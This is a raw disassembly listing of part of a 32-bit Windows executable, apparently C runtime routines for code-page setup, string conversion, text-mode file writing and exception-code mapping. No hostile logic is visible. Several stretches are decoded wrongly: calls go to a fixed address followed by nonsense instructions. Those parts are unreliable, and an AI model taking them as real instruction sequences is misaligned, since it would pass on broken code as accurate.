		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_41BF13:				; CODE XREF: seg000:0041BED1j
		mov	dword ptr [ebp-4], 1
		lea	eax, [esi+esi]
		add	eax, 3
		and	al, 0FCh
		call	sub_415D70
		mov	[ebp-18h], esp
		mov	ebx, esp
		mov	[ebp-20h], ebx
		or	dword ptr [ebp-4], 0FFFFFFFFh
		jmp	short loc_41BF47
; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp-18h]
		xor	edi, edi
		xor	ebx, ebx
		or	dword ptr [ebp-4], 0FFFFFFFFh
		mov	esi, [ebp-28h]


loc_41BF47:				; CODE XREF: seg000:0041BF33j
		cmp	ebx, edi
		jz	short loc_41BEFF
		push	esi
		push	ebx
		push	dword ptr [ebp-1Ch]
		push	dword ptr [ebp-24h]
		push	dword ptr [ebp+0Ch]
		push	dword ptr [ebp+8]
		call	ds:dword_421190	; LCMapStringW
		test	eax, eax
		jz	short loc_41BEFF
		cmp	[ebp+1Ch], edi
		push	edi
		push	edi
		jnz	short loc_41BF6E
		push	edi
		push	edi
		jmp	short loc_41BF74
; ---------------------------------------------------------------------------


loc_41BF6E:				; CODE XREF: seg000:0041BF68j
		push	dword ptr [ebp+1Ch]
		push	dword ptr [ebp+18h]


loc_41BF74:				; CODE XREF: seg000:0041BF6Cj
		push	esi
		push	ebx
		push	220h
		push	dword ptr [ebp+20h]
		call	ds:dword_421138	; WideCharToMultiByte
		mov	esi, eax
		cmp	esi, edi
		jz	loc_41BEFF


loc_41BF8E:				; CODE XREF: seg000:0041BED6j
					; seg000:0041BEF9j
		mov	eax, esi
		jmp	loc_41BF01

; =============== S U B	R O U T	I N E =======================================



sub_41BF95	proc near		; CODE XREF: seg000:0041BDF2p
					; seg000:0041F8C3p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	edx, [esp+arg_4]
		mov	eax, [esp+arg_0]
		test	edx, edx
		push	esi
		lea	ecx, [edx-1]
		jz	short loc_41BFB2


loc_41BFA5:				; CODE XREF: sub_41BF95+1Bj
		cmp	byte ptr [eax],	0
		jz	short loc_41BFB2
		inc	eax
		mov	esi, ecx
		dec	ecx
		test	esi, esi
		jnz	short loc_41BFA5


loc_41BFB2:				; CODE XREF: sub_41BF95+Ej
					; sub_41BF95+13j
		cmp	byte ptr [eax],	0
		pop	esi
		jnz	short loc_41BFBD
		sub	eax, [esp+arg_0]
		retn
; ---------------------------------------------------------------------------


loc_41BFBD:				; CODE XREF: sub_41BF95+21j
		mov	eax, edx
		retn
sub_41BF95	endp

; ---------------------------------------------------------------------------


loc_41BFC0:				; CODE XREF: sub_41C384+Bp
		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		push	ebx
		push	esi
		push	edi
		push	dword ptr [ebp+8]
		call	loc_41C159
		mov	esi, eax
		pop	ecx
		cmp	esi, ds:dword_46A8A4
		mov	[ebp+8], esi
		jz	loc_41C14D
		xor	ebx, ebx
		cmp	esi, ebx
		jz	loc_41C143
		xor	edx, edx
		mov	eax, offset dword_4380E0


loc_41BFF4:				; CODE XREF: seg000:0041C001j
		cmp	[eax], esi
		jz	short loc_41C06A
		add	eax, 30h
		inc	edx
		cmp	eax, offset dword_4381D0
		jl	short loc_41BFF4
		lea	eax, [ebp-18h]
		push	eax
		push	esi
		call	near ptr 0A80000h
		and	al, [ebx-7AF0FE08h]
		and	al, 1
; ---------------------------------------------------------------------------
		db 2 dup(0), 6Ah
; ---------------------------------------------------------------------------
		inc	eax
		xor	eax, eax
		pop	ecx
		mov	edi, offset byte_46A9C0
		cmp	dword ptr [ebp-18h], 1
		mov	ds:dword_46A8A4, esi
		rep stosd
		stosb
		mov	ds:dword_46AAC4, ebx
		jbe	loc_41C129
		cmp	byte ptr [ebp-12h], 0
		jz	loc_41C0FF
		lea	ecx, [ebp-11h]


loc_41C047:				; CODE XREF: seg000:0041C0F9j
		mov	dl, [ecx]
		test	dl, dl
		jz	loc_41C0FF
		movzx	eax, byte ptr [ecx-1]
		movzx	edx, dl


loc_41C058:				; CODE XREF: seg000:0041C068j
		cmp	eax, edx
		ja	loc_41C0F3
		or	ds:byte_46A9C1[eax], 4
		inc	eax
		jmp	short loc_41C058
; ---------------------------------------------------------------------------


loc_41C06A:				; CODE XREF: seg000:0041BFF6j
		push	40h
		xor	eax, eax
		pop	ecx
		mov	edi, offset byte_46A9C0
		rep stosd
		lea	esi, [edx+edx*2]
		mov	[ebp-4], ebx
		shl	esi, 4
		stosb
		lea	ebx, dword_4380F0[esi]


loc_41C086:				; CODE XREF: seg000:0041C0C3j
		cmp	byte ptr [ebx],	0
		mov	ecx, ebx
		jz	short loc_41C0B9


loc_41C08D:				; CODE XREF: seg000:0041C0B7j
		mov	dl, [ecx+1]
		test	dl, dl
		jz	short loc_41C0B9
		movzx	eax, byte ptr [ecx]
		movzx	edi, dl
		cmp	eax, edi
		ja	short loc_41C0B2
		mov	edx, [ebp-4]
		mov	dl, ds:byte_4380D8[edx]


loc_41C0A7:				; CODE XREF: seg000:0041C0B0j
		or	ds:byte_46A9C1[eax], dl
		inc	eax
		cmp	eax, edi
		jbe	short loc_41C0A7


loc_41C0B2:				; CODE XREF: seg000:0041C09Cj
		inc	ecx
		inc	ecx
		cmp	byte ptr [ecx],	0
		jnz	short loc_41C08D


loc_41C0B9:				; CODE XREF: seg000:0041C08Bj
					; seg000:0041C092j
		inc	dword ptr [ebp-4]
		add	ebx, 8
		cmp	dword ptr [ebp-4], 4
		jb	short loc_41C086
		mov	eax, [ebp+8]
		mov	ds:dword_46A8BC, 1
		push	eax
		mov	ds:dword_46A8A4, eax
		call	sub_41C1A3
		lea	esi, dword_4380E4[esi]
		mov	edi, offset dword_46A8B0
		movsd
		movsd
		pop	ecx
		mov	ds:dword_46AAC4, eax
		movsd
		jmp	short loc_41C148
; ---------------------------------------------------------------------------


loc_41C0F3:				; CODE XREF: seg000:0041C05Aj
		inc	ecx
		inc	ecx
		cmp	byte ptr [ecx-1], 0
		jnz	loc_41C047


loc_41C0FF:				; CODE XREF: seg000:0041C03Ej
					; seg000:0041C04Bj
		push	1
		pop	eax


loc_41C102:				; CODE XREF: seg000:0041C10Fj
		or	ds:byte_46A9C1[eax], 8
		inc	eax
		cmp	eax, 0FFh
		jb	short loc_41C102
		push	esi
		call	sub_41C1A3
		pop	ecx
		mov	ds:dword_46AAC4, eax
		mov	ds:dword_46A8BC, 1
		jmp	short loc_41C12F
; ---------------------------------------------------------------------------


loc_41C129:				; CODE XREF: seg000:0041C034j
		mov	ds:dword_46A8BC, ebx


loc_41C12F:				; CODE XREF: seg000:0041C127j
		xor	eax, eax
		mov	edi, offset dword_46A8B0
		stosd
		stosd
		stosd
		jmp	short loc_41C148
; ---------------------------------------------------------------------------
		cmp	ds:dword_469530, ebx
		jz	short loc_41C151


loc_41C143:				; CODE XREF: seg000:0041BFE7j
		call	sub_41C1D6


loc_41C148:				; CODE XREF: seg000:0041C0F1j
					; seg000:0041C139j
		call	loc_41C1FF


loc_41C14D:				; CODE XREF: seg000:0041BFDDj
		xor	eax, eax
		jmp	short loc_41C154
; ---------------------------------------------------------------------------


loc_41C151:				; CODE XREF: seg000:0041C141j
		or	eax, 0FFFFFFFFh


loc_41C154:				; CODE XREF: seg000:0041C14Fj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_41C159:				; CODE XREF: seg000:0041BFCCp
		mov	eax, [esp+4]
		and	ds:dword_469530, 0
		cmp	eax, 0FFFFFFFEh
		jnz	short near ptr loc_41C178+1
		mov	ds:dword_469530, 1
		call	near ptr 0A80000h


loc_41C178:				; CODE XREF: seg000:0041C167j
		inc	byte ptr [ebx+1075FDF8h]
		mov	ds:dword_469530, 1
		call	near ptr 0A80000h
		mov	al, ds:75FCF883h
		pop	fs
		sub	[ebp+5C70046h],	dl
		xor	[ebp+10046h], dl
; ---------------------------------------------------------------------------
		db 2 dup(0), 0C3h

; =============== S U B	R O U T	I N E =======================================



sub_41C1A3	proc near		; CODE XREF: seg000:0041C0D8p
					; seg000:0041C112p

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		sub	eax, 3A4h
		jz	short loc_41C1D0
		sub	eax, 4
		jz	short loc_41C1CA
		sub	eax, 0Dh
		jz	short loc_41C1C4
		dec	eax
		jz	short loc_41C1BE
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_41C1BE:				; CODE XREF: sub_41C1A3+16j
		mov	eax, 404h
		retn
; ---------------------------------------------------------------------------


loc_41C1C4:				; CODE XREF: sub_41C1A3+13j
		mov	eax, 412h
		retn
; ---------------------------------------------------------------------------


loc_41C1CA:				; CODE XREF: sub_41C1A3+Ej
		mov	eax, 804h
		retn
; ---------------------------------------------------------------------------


loc_41C1D0:				; CODE XREF: sub_41C1A3+9j
		mov	eax, 411h
		retn
sub_41C1A3	endp


; =============== S U B	R O U T	I N E =======================================



sub_41C1D6	proc near		; CODE XREF: seg000:loc_41C143p
		push	edi
		push	40h
		pop	ecx
		xor	eax, eax
		mov	edi, offset byte_46A9C0
		rep stosd
		stosb
		xor	eax, eax
		mov	edi, offset dword_46A8B0
		mov	ds:dword_46A8A4, eax
		mov	ds:dword_46A8BC, eax
		mov	ds:dword_46AAC4, eax
		stosd
		stosd
		stosd
		pop	edi
		retn
sub_41C1D6	endp

; ---------------------------------------------------------------------------


loc_41C1FF:				; CODE XREF: seg000:loc_41C148p
		push	ebp
		mov	ebp, esp
		sub	esp, 514h
		lea	eax, [ebp-14h]
		push	esi
		push	eax
		push	ds:dword_46A8A4
		call	near ptr 0A80000h
		xor	al, 83h
		clc
		add	[edi], ecx
		test	[esi], edx
		add	[eax], eax
		add	[ebx], dh
		sar	byte ptr [esi+100h], 88h ; CODE	XREF: seg000:0041C233j
		test	ds:0FFFFFEECh, al
		inc	eax
		cmp	eax, esi
		jb	short near ptr loc_41C223+6
		mov	al, [ebp-0Eh]
		mov	byte ptr [ebp-114h], 20h
		test	al, al
		jz	short loc_41C27A
		push	ebx
		push	edi
		lea	edx, [ebp-0Dh]


loc_41C248:				; CODE XREF: seg000:0041C276j
		movzx	ecx, byte ptr [edx]
		movzx	eax, al
		cmp	eax, ecx
		ja	short loc_41C26F
		sub	ecx, eax
		lea	edi, [ebp+eax-114h]
		inc	ecx
		mov	eax, 20202020h
		mov	ebx, ecx
		shr	ecx, 2
		rep stosd
		mov	ecx, ebx
		and	ecx, 3
		rep stosb


loc_41C26F:				; CODE XREF: seg000:0041C250j
		inc	edx
		inc	edx
		mov	al, [edx-1]
		test	al, al
		jnz	short loc_41C248
		pop	edi
		pop	ebx


loc_41C27A:				; CODE XREF: seg000:0041C241j
		push	0
		lea	eax, [ebp-514h]
		push	ds:dword_46AAC4
		push	ds:dword_46A8A4
		push	eax
		lea	eax, [ebp-114h]
		push	esi
		push	eax
		push	1
		call	loc_41D1F7
		push	0
		lea	eax, [ebp-214h]
		push	ds:dword_46A8A4
		push	esi
		push	eax
		lea	eax, [ebp-114h]
		push	esi
		push	eax
		push	esi
		push	ds:dword_46AAC4
		call	loc_41BD71
		push	0
		lea	eax, [ebp-314h]
		push	ds:dword_46A8A4
		push	esi
		push	eax
		lea	eax, [ebp-114h]
		push	esi
		push	eax
		push	200h
		push	ds:dword_46AAC4
		call	loc_41BD71
		add	esp, 5Ch
		xor	eax, eax
		lea	ecx, [ebp-514h]


loc_41C2F5:				; CODE XREF: seg000:0041C334j
		mov	dx, [ecx]
		test	dl, 1
		jz	short loc_41C313
		or	ds:byte_46A9C1[eax], 10h
		mov	dl, [ebp+eax-214h]


loc_41C30B:				; CODE XREF: seg000:0041C326j
		mov	ds:byte_46A8C0[eax], dl
		jmp	short loc_41C32F
; ---------------------------------------------------------------------------


loc_41C313:				; CODE XREF: seg000:0041C2FBj
		test	dl, 2
		jz	short loc_41C328
		or	ds:byte_46A9C1[eax], 20h
		mov	dl, [ebp+eax-314h]
		jmp	short loc_41C30B
; ---------------------------------------------------------------------------


loc_41C328:				; CODE XREF: seg000:0041C316j
		and	ds:byte_46A8C0[eax], 0


loc_41C32F:				; CODE XREF: seg000:0041C311j
		inc	eax
		inc	ecx
		inc	ecx
		cmp	eax, esi
		jb	short loc_41C2F5
		jmp	short loc_41C381
; ---------------------------------------------------------------------------
		xor	eax, eax
		mov	esi, 100h


loc_41C33F:				; CODE XREF: seg000:0041C37Fj
		cmp	eax, 41h
		jb	short loc_41C35D
		cmp	eax, 5Ah
		ja	short loc_41C35D
		or	ds:byte_46A9C1[eax], 10h
		mov	cl, al
		add	cl, 20h


loc_41C355:				; CODE XREF: seg000:0041C373j
		mov	ds:byte_46A8C0[eax], cl
		jmp	short loc_41C37C
; ---------------------------------------------------------------------------


loc_41C35D:				; CODE XREF: seg000:0041C342j
					; seg000:0041C347j
		cmp	eax, 61h
		jb	short loc_41C375
		cmp	eax, 7Ah
		ja	short loc_41C375
		or	ds:byte_46A9C1[eax], 20h
		mov	cl, al
		sub	cl, 20h
		jmp	short loc_41C355
; ---------------------------------------------------------------------------


loc_41C375:				; CODE XREF: seg000:0041C360j
					; seg000:0041C365j
		and	ds:byte_46A8C0[eax], 0


loc_41C37C:				; CODE XREF: seg000:0041C35Bj
		inc	eax
		cmp	eax, esi
		jb	short loc_41C33F


loc_41C381:				; CODE XREF: seg000:0041C336j
		pop	esi
		leave
		retn

; =============== S U B	R O U T	I N E =======================================



sub_41C384	proc near		; CODE XREF: seg000:0041C7CBp
					; sub_41C81A+Dp ...
		cmp	ds:dword_46AAEC, 0
		jnz	short locret_41C39F
		push	0FFFFFFFDh
		call	loc_41BFC0
		pop	ecx
		mov	ds:dword_46AAEC, 1

locret_41C39F:				; CODE XREF: sub_41C384+7j
		retn
sub_41C384	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41C3A0	proc near		; CODE XREF: sub_417348+2Bp
					; sub_417348+A6p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		cmp	ds:dword_46A8BC, 0
		push	edi
		mov	edi, [ebp+arg_0]
		mov	[ebp+arg_0], edi
		jnz	short loc_41C3C4
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	edi
		call	sub_416D40
		add	esp, 0Ch
		jmp	short loc_41C427
; ---------------------------------------------------------------------------


loc_41C3C4:				; CODE XREF: sub_41C3A0+11j
		mov	edx, [ebp+arg_8]
		push	esi
		test	edx, edx
		jz	short loc_41C409
		mov	ecx, [ebp+arg_4]


loc_41C3CF:				; CODE XREF: sub_41C3A0+5Bj
		mov	al, [ecx]
		dec	edx
		movzx	esi, al
		test	ds:byte_46A9C1[esi], 4
		mov	[edi], al
		jz	short loc_41C3F3
		inc	edi
		inc	ecx
		test	edx, edx
		jz	short loc_41C3FF
		mov	al, [ecx]
		dec	edx
		mov	[edi], al
		inc	edi
		inc	ecx
		test	al, al
		jz	short loc_41C405
		jmp	short loc_41C3F9
; ---------------------------------------------------------------------------


loc_41C3F3:				; CODE XREF: sub_41C3A0+3Ej
		inc	edi
		inc	ecx
		test	al, al
		jz	short loc_41C409


loc_41C3F9:				; CODE XREF: sub_41C3A0+51j
		test	edx, edx
		jnz	short loc_41C3CF
		jmp	short loc_41C409
; ---------------------------------------------------------------------------


loc_41C3FF:				; CODE XREF: sub_41C3A0+44j
		and	byte ptr [edi-1], 0
		jmp	short loc_41C409
; ---------------------------------------------------------------------------


loc_41C405:				; CODE XREF: sub_41C3A0+4Fj
		and	byte ptr [edi-2], 0


loc_41C409:				; CODE XREF: sub_41C3A0+2Aj
					; sub_41C3A0+57j ...
		mov	eax, edx
		dec	edx
		test	eax, eax
		pop	esi
		jz	short loc_41C424
		lea	ecx, [edx+1]
		xor	eax, eax
		mov	edx, ecx
		shr	ecx, 2
		rep stosd
		mov	ecx, edx
		and	ecx, 3
		rep stosb


loc_41C424:				; CODE XREF: sub_41C3A0+6Fj
		mov	eax, [ebp+arg_0]


loc_41C427:				; CODE XREF: sub_41C3A0+22j
		pop	edi
		pop	ebp
		retn
sub_41C3A0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41C42A	proc near		; CODE XREF: sub_4175FF+A2p
					; sub_417C37+95p ...

var_414		= byte ptr -414h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 414h
		mov	ecx, [ebp+arg_0]
		push	ebx
		cmp	ecx, ds:dword_46A8A0
		push	esi
		push	edi
		jnb	loc_41C5BE
		mov	eax, ecx
		mov	esi, ecx
		sar	eax, 5
		and	esi, 1Fh
		lea	ebx, ds:46A7A0h[eax*4]
		shl	esi, 3
		mov	eax, [ebx]
		mov	al, [eax+esi+4]
		test	al, 1
		jz	loc_41C5BE
		xor	edi, edi
		cmp	[ebp+arg_8], edi
		mov	[ebp+var_8], edi
		mov	[ebp+var_10], edi
		jnz	short loc_41C47B


loc_41C474:				; CODE XREF: sub_41C42A+177j
		xor	eax, eax
		jmp	loc_41C5D2
; ---------------------------------------------------------------------------


loc_41C47B:				; CODE XREF: sub_41C42A+48j
		test	al, 20h
		jz	short loc_41C48B
		push	2
		push	edi
		push	ecx
		call	sub_41BB7F
		add	esp, 0Ch


loc_41C48B:				; CODE XREF: sub_41C42A+53j
		mov	eax, [ebx]
		add	eax, esi
		test	byte ptr [eax+4], 80h
		jz	loc_41C55A
		mov	eax, [ebp+arg_4]
		cmp	[ebp+arg_8], edi
		mov	[ebp+var_4], eax
		mov	[ebp+arg_0], edi
		jbe	loc_41C592


loc_41C4AB:				; CODE XREF: sub_41C42A+F5j
		lea	eax, [ebp+var_414]


loc_41C4B1:				; CODE XREF: sub_41C42A+B9j
		mov	ecx, [ebp+var_4]
		sub	ecx, [ebp+arg_4]
		cmp	ecx, [ebp+arg_8]
		jnb	short loc_41C4E5
		mov	ecx, [ebp+var_4]
		inc	[ebp+var_4]
		mov	cl, [ecx]
		cmp	cl, 0Ah
		jnz	short loc_41C4D0
		inc	[ebp+var_10]
		mov	byte ptr [eax],	0Dh
		inc	eax


loc_41C4D0:				; CODE XREF: sub_41C42A+9Dj
		mov	[eax], cl
		inc	eax
		mov	ecx, eax
		lea	edx, [ebp+var_414]
		sub	ecx, edx
		cmp	ecx, 400h
		jl	short loc_41C4B1


loc_41C4E5:				; CODE XREF: sub_41C42A+90j
		mov	edi, eax
		lea	eax, [ebp+var_414]
		sub	edi, eax
		lea	eax, [ebp+var_C]
		push	0
		push	eax
		lea	eax, [ebp+var_414]
		push	edi
		push	eax
		mov	eax, [ebx]
		push	dword ptr [eax+esi]
		call	near ptr 0A80000h
		and	al, 85h
		sal	byte ptr [ebx+eax*2-75h], 45h
		hlt
; ---------------------------------------------------------------------------
		add	[ebp+var_8], eax
		cmp	eax, edi
		jl	short loc_41C521
		mov	eax, [ebp+var_4]
		sub	eax, [ebp+arg_4]
		cmp	eax, [ebp+arg_8]
		jb	short loc_41C4AB


loc_41C521:				; CODE XREF: sub_41C42A+EAj
					; sub_41C42A+12Ej
		xor	edi, edi


loc_41C523:				; CODE XREF: sub_41C42A+150j
					; sub_41C42A+15Bj
		mov	eax, [ebp+var_8]
		cmp	eax, edi
		jnz	loc_41C5B9
		cmp	[ebp+arg_0], edi
		jz	short loc_41C592
		push	5
		pop	eax
		cmp	[ebp+arg_0], eax
		jnz	short loc_41C587
		mov	ds:dword_469484, 9
		mov	ds:dword_469488, eax
		jmp	loc_41C5CF
; ---------------------------------------------------------------------------
		call	ds:dword_421088	; RtlGetLastWin32Error
		mov	[ebp+arg_0], eax
		jmp	short loc_41C521
; ---------------------------------------------------------------------------


loc_41C55A:				; CODE XREF: sub_41C42A+69j
		lea	ecx, [ebp+var_C]
		push	edi
		push	ecx
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	dword ptr [eax]
		call	near ptr 0A80000h
		inc	edx
		test	eax, eax
		jz	short loc_41C57C
		mov	eax, [ebp+var_C]
		mov	[ebp+arg_0], edi
		mov	[ebp+var_8], eax
		jmp	short loc_41C523
; ---------------------------------------------------------------------------


loc_41C57C:				; CODE XREF: sub_41C42A+145j
		call	ds:dword_421088	; RtlGetLastWin32Error
		mov	[ebp+arg_0], eax
		jmp	short loc_41C523
; ---------------------------------------------------------------------------


loc_41C587:				; CODE XREF: sub_41C42A+10Fj
		push	[ebp+arg_0]
		call	sub_41C5D7
		pop	ecx
		jmp	short loc_41C5CF
; ---------------------------------------------------------------------------


loc_41C592:				; CODE XREF: sub_41C42A+7Bj
					; sub_41C42A+107j
		mov	eax, [ebx]
		test	byte ptr [eax+esi+4], 40h
		jz	short loc_41C5A7
		mov	eax, [ebp+arg_4]
		cmp	byte ptr [eax],	1Ah
		jz	loc_41C474


loc_41C5A7:				; CODE XREF: sub_41C42A+16Fj
		mov	ds:dword_469484, 1Ch
		mov	ds:dword_469488, edi
		jmp	short loc_41C5CF
; ---------------------------------------------------------------------------


loc_41C5B9:				; CODE XREF: sub_41C42A+FEj
		sub	eax, [ebp+var_10]
		jmp	short loc_41C5D2
; ---------------------------------------------------------------------------


loc_41C5BE:				; CODE XREF: sub_41C42A+15j
					; sub_41C42A+37j
		and	ds:dword_469488, 0
		mov	ds:dword_469484, 9


loc_41C5CF:				; CODE XREF: sub_41C42A+120j
					; sub_41C42A+166j ...
		or	eax, 0FFFFFFFFh


loc_41C5D2:				; CODE XREF: sub_41C42A+4Cj
					; sub_41C42A+192j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41C42A	endp


; =============== S U B	R O U T	I N E =======================================



sub_41C5D7	proc near		; CODE XREF: sub_417709+16p
					; sub_4178FC+1Dp ...

arg_0		= dword	ptr  4

		mov	ecx, [esp+arg_0]
		xor	edx, edx
		mov	ds:dword_469488, ecx
		mov	eax, offset dword_4381D0


loc_41C5E8:				; CODE XREF: sub_41C5D7+1Ej
		cmp	ecx, [eax]
		jz	short loc_41C60C
		add	eax, 8
		inc	edx
		cmp	eax, offset dword_438338
		jl	short loc_41C5E8
		cmp	ecx, 13h
		jb	short loc_41C619
		cmp	ecx, 24h
		ja	short loc_41C619
		mov	ds:dword_469484, 0Dh
		retn
; ---------------------------------------------------------------------------


loc_41C60C:				; CODE XREF: sub_41C5D7+13j
		mov	eax, ds:dword_4381D4[edx*8]
		mov	ds:dword_469484, eax
		retn
; ---------------------------------------------------------------------------


loc_41C619:				; CODE XREF: sub_41C5D7+23j
					; sub_41C5D7+28j
		cmp	ecx, 0BCh
		jb	short loc_41C633
		cmp	ecx, 0CAh
		mov	ds:dword_469484, 8
		jbe	short locret_41C63D


loc_41C633:				; CODE XREF: sub_41C5D7+48j
		mov	ds:dword_469484, 16h

locret_41C63D:				; CODE XREF: sub_41C5D7+5Aj
		retn
sub_41C5D7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41C63E	proc near		; CODE XREF: seg000:00417BDBp

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ebx
		push	[ebp+arg_0]
		call	sub_41C77F
		test	eax, eax
		pop	ecx
		jz	loc_41C773
		mov	ebx, [eax+8]
		test	ebx, ebx
		jz	loc_41C773
		cmp	ebx, 5
		jnz	short loc_41C66F
		and	dword ptr [eax+8], 0
		push	1
		pop	eax
		jmp	loc_41C77C
; ---------------------------------------------------------------------------


loc_41C66F:				; CODE XREF: sub_41C63E+23j
		cmp	ebx, 1
		jz	loc_41C76E
		mov	ecx, ds:dword_469534
		mov	[ebp+arg_0], ecx
		mov	ecx, [ebp+arg_4]
		mov	ds:dword_469534, ecx
		mov	ecx, [eax+4]
		cmp	ecx, 8
		jnz	loc_41C75E
		mov	ecx, ds:dword_4383B0
		mov	edx, ds:dword_4383B4
		add	edx, ecx
		push	esi
		cmp	ecx, edx
		jge	short loc_41C6BE
		lea	esi, [ecx+ecx*2]
		sub	edx, ecx
		lea	esi, ds:438340h[esi*4]


loc_41C6B5:				; CODE XREF: sub_41C63E+7Ej
		and	dword ptr [esi], 0
		add	esi, 0Ch
		dec	edx
		jnz	short loc_41C6B5


loc_41C6BE:				; CODE XREF: sub_41C63E+69j
		mov	eax, [eax]
		mov	esi, ds:dword_4383BC
		cmp	eax, 0C000008Eh
		jnz	short loc_41C6D9
		mov	ds:dword_4383BC, 83h
		jmp	short loc_41C749
; ---------------------------------------------------------------------------


loc_41C6D9:				; CODE XREF: sub_41C63E+8Dj
		cmp	eax, 0C0000090h
		jnz	short loc_41C6EC
		mov	ds:dword_4383BC, 81h
		jmp	short loc_41C749
; ---------------------------------------------------------------------------


loc_41C6EC:				; CODE XREF: sub_41C63E+A0j
		cmp	eax, 0C0000091h
		jnz	short loc_41C6FF
		mov	ds:dword_4383BC, 84h
		jmp	short loc_41C749
; ---------------------------------------------------------------------------


loc_41C6FF:				; CODE XREF: sub_41C63E+B3j
		cmp	eax, 0C0000093h
		jnz	short loc_41C712
		mov	ds:dword_4383BC, 85h
		jmp	short loc_41C749
; ---------------------------------------------------------------------------


loc_41C712:				; CODE XREF: sub_41C63E+C6j
		cmp	eax, 0C000008Dh
		jnz	short loc_41C725
		mov	ds:dword_4383BC, 82h
		jmp	short loc_41C749
; ---------------------------------------------------------------------------


loc_41C725:				; CODE XREF: sub_41C63E+D9j
		cmp	eax, 0C000008Fh
		jnz	short loc_41C738
		mov	ds:dword_4383BC, 86h
		jmp	short loc_41C749
; ---------------------------------------------------------------------------


loc_41C738:				; CODE XREF: sub_41C63E+ECj
		cmp	eax, 0C0000092h
		jnz	short loc_41C749
		mov	ds:dword_4383BC, 8Ah


loc_41C749:				; CODE XREF: sub_41C63E+99j
					; sub_41C63E+ACj ...
		push	ds:dword_4383BC
		push	8
		call	ebx
		pop	ecx
		mov	ds:dword_4383BC, esi
		pop	ecx
		pop	esi
		jmp	short loc_41C766
; ---------------------------------------------------------------------------


loc_41C75E:				; CODE XREF: sub_41C63E+52j
		and	dword ptr [eax+8], 0
		push	ecx
		call	ebx
		pop	ecx


loc_41C766:				; CODE XREF: sub_41C63E+11Ej
		mov	eax, [ebp+arg_0]
		mov	ds:dword_469534, eax


loc_41C76E:				; CODE XREF: sub_41C63E+34j
		or	eax, 0FFFFFFFFh
		jmp	short loc_41C77C
; ---------------------------------------------------------------------------


loc_41C773:				; CODE XREF: sub_41C63E+Fj
					; sub_41C63E+1Aj
		push	[ebp+arg_4]
		call	ds:dword_4211A0	; UnhandledExceptionFilter


loc_41C77C:				; CODE XREF: sub_41C63E+2Cj
					; sub_41C63E+133j
		pop	ebx
		pop	ebp
		retn
sub_41C63E	endp


; =============== S U B	R O U T	I N E =======================================



sub_41C77F	proc near		; CODE XREF: sub_41C63E+7p

arg_0		= dword	ptr  4

		mov	edx, [esp+arg_0]
		mov	ecx, ds:dword_4383B8
		cmp	ds:dword_438338, edx
		push	esi
		mov	eax, offset dword_438338
		jz	short loc_41C7AC
		lea	esi, [ecx+ecx*2]
		lea	esi, ds:438338h[esi*4]


loc_41C7A1:				; CODE XREF: sub_41C77F+2Bj
		add	eax, 0Ch
		cmp	eax, esi
		jnb	short loc_41C7AC
		cmp	[eax], edx
		jnz	short loc_41C7A1


loc_41C7AC:				; CODE XREF: sub_41C77F+16j
					; sub_41C77F+27j
		lea	ecx, [ecx+ecx*2]
		pop	esi
		lea	ecx, ds:438338h[ecx*4]
		cmp	eax, ecx
		jnb	short loc_41C7BF
		cmp	[eax], edx
		jz	short locret_41C7C1


loc_41C7BF:				; CODE XREF: sub_41C77F+3Aj
		xor	eax, eax

locret_41C7C1:				; CODE XREF: sub_41C77F+3Ej
		retn
sub_41C77F	endp

; ---------------------------------------------------------------------------
		cmp	ds:dword_46AAEC, 0
		jnz	short loc_41C7D0
		call	sub_41C384


loc_41C7D0:				; CODE XREF: seg000:0041C7C9j
		push	esi
		mov	esi, ds:dword_46AAE4
		mov	al, [esi]
		cmp	al, 22h
		jnz	short loc_41C802


loc_41C7DD:				; CODE XREF: seg000:0041C7F5j
					; seg000:0041C7F8j
		mov	al, [esi+1]
		inc	esi
		cmp	al, 22h
		jz	short loc_41C7FA
		test	al, al
		jz	short loc_41C7FA
		movzx	eax, al
		push	eax
		call	sub_41E6AC
		test	eax, eax
		pop	ecx
		jz	short loc_41C7DD
		inc	esi
		jmp	short loc_41C7DD
; ---------------------------------------------------------------------------


loc_41C7FA:				; CODE XREF: seg000:0041C7E3j
					; seg000:0041C7E7j
		cmp	byte ptr [esi],	22h
		jnz	short loc_41C80C


loc_41C7FF:				; CODE XREF: seg000:0041C814j
		inc	esi
		jmp	short loc_41C80C
; ---------------------------------------------------------------------------


loc_41C802:				; CODE XREF: seg000:0041C7DBj
		cmp	al, 20h
		jbe	short loc_41C80C


loc_41C806:				; CODE XREF: seg000:0041C80Aj
		inc	esi
		cmp	byte ptr [esi],	20h
		ja	short loc_41C806


loc_41C80C:				; CODE XREF: seg000:0041C7FDj
					; seg000:0041C800j ...
		mov	al, [esi]
		test	al, al
		jz	short loc_41C816
		cmp	al, 20h
		jbe	short loc_41C7FF


loc_41C816:				; CODE XREF: seg000:0041C810j
		mov	eax, esi
		pop	esi
		retn

; =============== S U B	R O U T	I N E =======================================



sub_41C81A	proc near		; CODE XREF: seg000:00417B86p
		push	ebx
		xor	ebx, ebx
		cmp	ds:dword_46AAEC, ebx
		push	esi
		push	edi
		jnz	short loc_41C82C
		call	sub_41C384


